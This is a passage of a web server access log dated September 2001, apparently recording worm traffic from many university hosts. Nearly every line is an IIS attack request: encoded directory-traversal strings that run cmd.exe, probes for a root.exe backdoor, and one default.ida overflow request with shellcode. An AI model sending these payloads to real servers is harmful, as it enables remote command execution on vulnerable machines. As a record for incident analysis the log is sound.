  2053. 20010918 10:20:55: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2054. 20010918 10:20:56: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2055. 20010918 10:20:57:  [128.164.89.13] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2056. 20010918 10:22:12: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2057. 20010918 10:22:12: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2058. 20010918 10:22:13:  [128.164.89.13] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2059. 20010918 10:22:31: ecom.gsb.columbia.edu [128.59.205.95] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2060. 20010918 10:22:31: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2061. 20010918 10:22:31: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2062. 20010918 10:22:31:  [128.164.89.13] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2063. 20010918 10:22:49: ecom.gsb.columbia.edu [128.59.205.95] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2064. 20010918 10:22:49: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2065. 20010918 10:22:49: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2066. 20010918 10:22:50:  [128.164.89.13] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2067. 20010918 10:23:10: ecom.gsb.columbia.edu [128.59.205.95] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2068. 20010918 10:23:10: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2069. 20010918 10:23:10: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2070. 20010918 10:23:11:  [128.164.89.13] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2071. 20010918 10:23:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2072. 20010918 10:23:29: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2073. 20010918 10:23:29: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2074. 20010918 10:23:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2075. 20010918 10:23:29: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2076. 20010918 10:23:29: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2077. 20010918 10:23:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2078. 20010918 10:23:29: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2079. 20010918 10:23:29: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2080. 20010918 10:23:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2081. 20010918 10:23:29: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2082. 20010918 10:23:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2083. 20010918 10:23:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2084. 20010918 10:23:30: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2085. 20010918 10:23:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2086. 20010918 10:23:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2087. 20010918 10:23:30: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2088. 20010918 10:23:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2089. 20010918 10:23:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2090. 20010918 10:23:30: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2091. 20010918 10:23:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2092. 20010918 10:23:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2093. 20010918 10:23:30: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2094. 20010918 10:23:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2095. 20010918 10:23:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2096. 20010918 10:23:30: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2097. 20010918 10:23:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2098. 20010918 10:23:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2099. 20010918 10:23:30: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2100. 20010918 10:23:30: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2101. 20010918 10:23:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2102. 20010918 10:23:31: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2103. 20010918 10:23:31: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2104. 20010918 10:23:31: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2105. 20010918 10:23:31: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2106. 20010918 10:23:31: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2107. 20010918 10:23:31: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2108. 20010918 10:23:31:  [128.164.89.13] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2109. 20010918 10:24:09:  [128.164.89.13] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2110. 20010918 10:25:01:  [128.164.89.13] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2111. 20010918 10:25:20:  [213.56.100.161] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2112. 20010918 10:25:48:  [128.164.89.13] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2113. 20010918 10:26:08: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  2114. 20010918 10:26:10: abelard.phil.uiuc.edu [128.174.28.81] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2115. 20010918 10:26:11:  [213.56.100.161] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2116. 20010918 10:26:31:  [128.164.89.13] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2117. 20010918 10:26:51: abelard.phil.uiuc.edu [128.174.28.81] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2118. 20010918 10:26:52:  [213.56.100.161] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2119. 20010918 10:27:13: abelard.phil.uiuc.edu [128.174.28.81] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2120. 20010918 10:27:14:  [213.56.100.161] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2121. 20010918 10:27:34: abelard.phil.uiuc.edu [128.174.28.81] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2122. 20010918 10:27:35: EG-ADMIN.PC.CC.CMU.EDU [128.2.29.242] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2123. 20010918 10:27:36: abelard.phil.uiuc.edu [128.174.28.81] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2124. 20010918 10:27:37:  [213.56.100.161] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2125. 20010918 10:27:57: EG-ADMIN.PC.CC.CMU.EDU [128.2.29.242] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2126. 20010918 10:27:58: abelard.phil.uiuc.edu [128.174.28.81] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2127. 20010918 10:27:59: EG-ADMIN.PC.CC.CMU.EDU [128.2.29.242] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2128. 20010918 10:27:59: abelard.phil.uiuc.edu [128.174.28.81] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2129. 20010918 10:28:00: EG-ADMIN.PC.CC.CMU.EDU [128.2.29.242] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2130. 20010918 10:28:01:  [213.56.100.161] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2131. 20010918 10:28:21: abelard.phil.uiuc.edu [128.174.28.81] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2132. 20010918 10:28:22: EG-ADMIN.PC.CC.CMU.EDU [128.2.29.242] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2133. 20010918 10:28:23: abelard.phil.uiuc.edu [128.174.28.81] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2134. 20010918 10:28:24: EG-ADMIN.PC.CC.CMU.EDU [128.2.29.242] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2135. 20010918 10:28:24:  [213.56.100.161] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2136. 20010918 10:28:45: abelard.phil.uiuc.edu [128.174.28.81] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2137. 20010918 10:28:45: EG-ADMIN.PC.CC.CMU.EDU [128.2.29.242] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2138. 20010918 10:28:46: abelard.phil.uiuc.edu [128.174.28.81] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2139. 20010918 10:28:46: EG-ADMIN.PC.CC.CMU.EDU [128.2.29.242] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2140. 20010918 10:28:47: abelard.phil.uiuc.edu [128.174.28.81] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2141. 20010918 10:28:47: EG-ADMIN.PC.CC.CMU.EDU [128.2.29.242] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2142. 20010918 10:28:47: abelard.phil.uiuc.edu [128.174.28.81] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2143. 20010918 10:28:47:  [213.56.100.161] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2144. 20010918 10:29:07: EG-ADMIN.PC.CC.CMU.EDU [128.2.29.242] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2145. 20010918 10:29:08: abelard.phil.uiuc.edu [128.174.28.81] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2146. 20010918 10:29:09:  [213.56.100.161] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2147. 20010918 10:29:29: EG-ADMIN.PC.CC.CMU.EDU [128.2.29.242] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2148. 20010918 10:29:29: abelard.phil.uiuc.edu [128.174.28.81] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2149. 20010918 10:29:30: EG-ADMIN.PC.CC.CMU.EDU [128.2.29.242] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2150. 20010918 10:29:31: abelard.phil.uiuc.edu [128.174.28.81] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2151. 20010918 10:29:31: EG-ADMIN.PC.CC.CMU.EDU [128.2.29.242] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2152. 20010918 10:29:33: EG-ADMIN.PC.CC.CMU.EDU [128.2.29.242] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2153. 20010918 10:29:34: EG-ADMIN.PC.CC.CMU.EDU [128.2.29.242] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2154. 20010918 10:29:34: EG-ADMIN.PC.CC.CMU.EDU [128.2.29.242] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2155. 20010918 10:29:35:  [213.56.100.161] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2156. 20010918 10:29:55:  [213.56.100.161] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2157. 20010918 10:30:21:  [213.56.100.161] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2158. 20010918 10:30:43:  [213.56.100.161] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2159. 20010918 10:31:06:  [213.56.100.161] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2160. 20010918 10:31:28: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2161. 20010918 10:31:29: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2162. 20010918 10:31:29: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2163. 20010918 10:31:30: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2164. 20010918 10:31:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2165. 20010918 10:31:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2166. 20010918 10:31:32:  [213.56.100.161] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2167. 20010918 10:31:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2168. 20010918 10:31:54: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2169. 20010918 10:31:55: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2170. 20010918 10:31:56: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2171. 20010918 10:31:57: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2172. 20010918 10:31:57: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2173. 20010918 10:31:58: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2174. 20010918 10:31:58: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2175. 20010918 10:31:59:  [213.56.100.161] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2176. 20010918 10:32:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2177. 20010918 10:32:20:  [128.163.33.117] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2178. 20010918 10:32:40: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2179. 20010918 10:32:41:  [128.163.33.117] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2180. 20010918 10:33:10:  [128.163.33.117] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2181. 20010918 10:33:30:  [128.163.33.117] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2182. 20010918 10:33:50:  [128.163.33.117] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2183. 20010918 10:34:11:  [128.163.33.117] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2184. 20010918 10:34:34:  [128.163.33.117] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2185. 20010918 10:35:13:  [128.163.33.117] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2186. 20010918 10:35:37:  [128.163.33.117] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2187. 20010918 10:36:07:  [128.163.33.117] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2188. 20010918 10:36:27:  [128.163.33.117] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2189. 20010918 10:36:48:  [128.163.33.117] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2190. 20010918 10:37:08:  [128.163.33.117] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2191. 20010918 10:37:29:  [128.163.33.117] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2192. 20010918 10:38:11:  [128.163.33.117] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2193. 20010918 10:38:31: quiz.chem.Arizona.EDU [128.196.184.5] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2194. 20010918 10:38:33: quiz.chem.Arizona.EDU [128.196.184.5] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2195. 20010918 10:38:33: quiz.chem.Arizona.EDU [128.196.184.5] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2196. 20010918 10:38:35: quiz.chem.Arizona.EDU [128.196.184.5] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2197. 20010918 10:38:36: quiz.chem.Arizona.EDU [128.196.184.5] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2198. 20010918 10:38:37: quiz.chem.Arizona.EDU [128.196.184.5] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2199. 20010918 10:38:37: quiz.chem.Arizona.EDU [128.196.184.5] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2200. 20010918 10:38:39: quiz.chem.Arizona.EDU [128.196.184.5] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2201. 20010918 10:38:39: quiz.chem.Arizona.EDU [128.196.184.5] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2202. 20010918 10:38:40: quiz.chem.Arizona.EDU [128.196.184.5] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2203. 20010918 10:38:41: quiz.chem.Arizona.EDU [128.196.184.5] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2204. 20010918 10:38:42: quiz.chem.Arizona.EDU [128.196.184.5] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2205. 20010918 10:38:44: quiz.chem.Arizona.EDU [128.196.184.5] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2206. 20010918 10:38:44: quiz.chem.Arizona.EDU [128.196.184.5] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2207. 20010918 10:38:45: quiz.chem.Arizona.EDU [128.196.184.5] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2208. 20010918 10:38:46: quiz.chem.Arizona.EDU [128.196.184.5] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2209. 20010918 10:38:48:  [128.163.33.117] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2210. 20010918 10:39:14: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2211. 20010918 10:40:31: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2212. 20010918 10:40:32: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2213. 20010918 10:40:32: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2214. 20010918 10:40:34: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2215. 20010918 10:40:35: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2216. 20010918 10:40:35: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2217. 20010918 10:40:36: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2218. 20010918 10:40:37: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2219. 20010918 10:40:38: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2220. 20010918 10:40:39: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2221. 20010918 10:40:39: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2222. 20010918 10:40:40: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2223. 20010918 10:40:40: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2224. 20010918 10:40:41: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2225. 20010918 10:40:42: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2226. 20010918 10:40:43: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2227. 20010918 10:45:33: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2228. 20010918 10:45:34: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2229. 20010918 10:45:38: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2230. 20010918 10:45:39: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2231. 20010918 10:45:39: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2232. 20010918 10:45:40: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
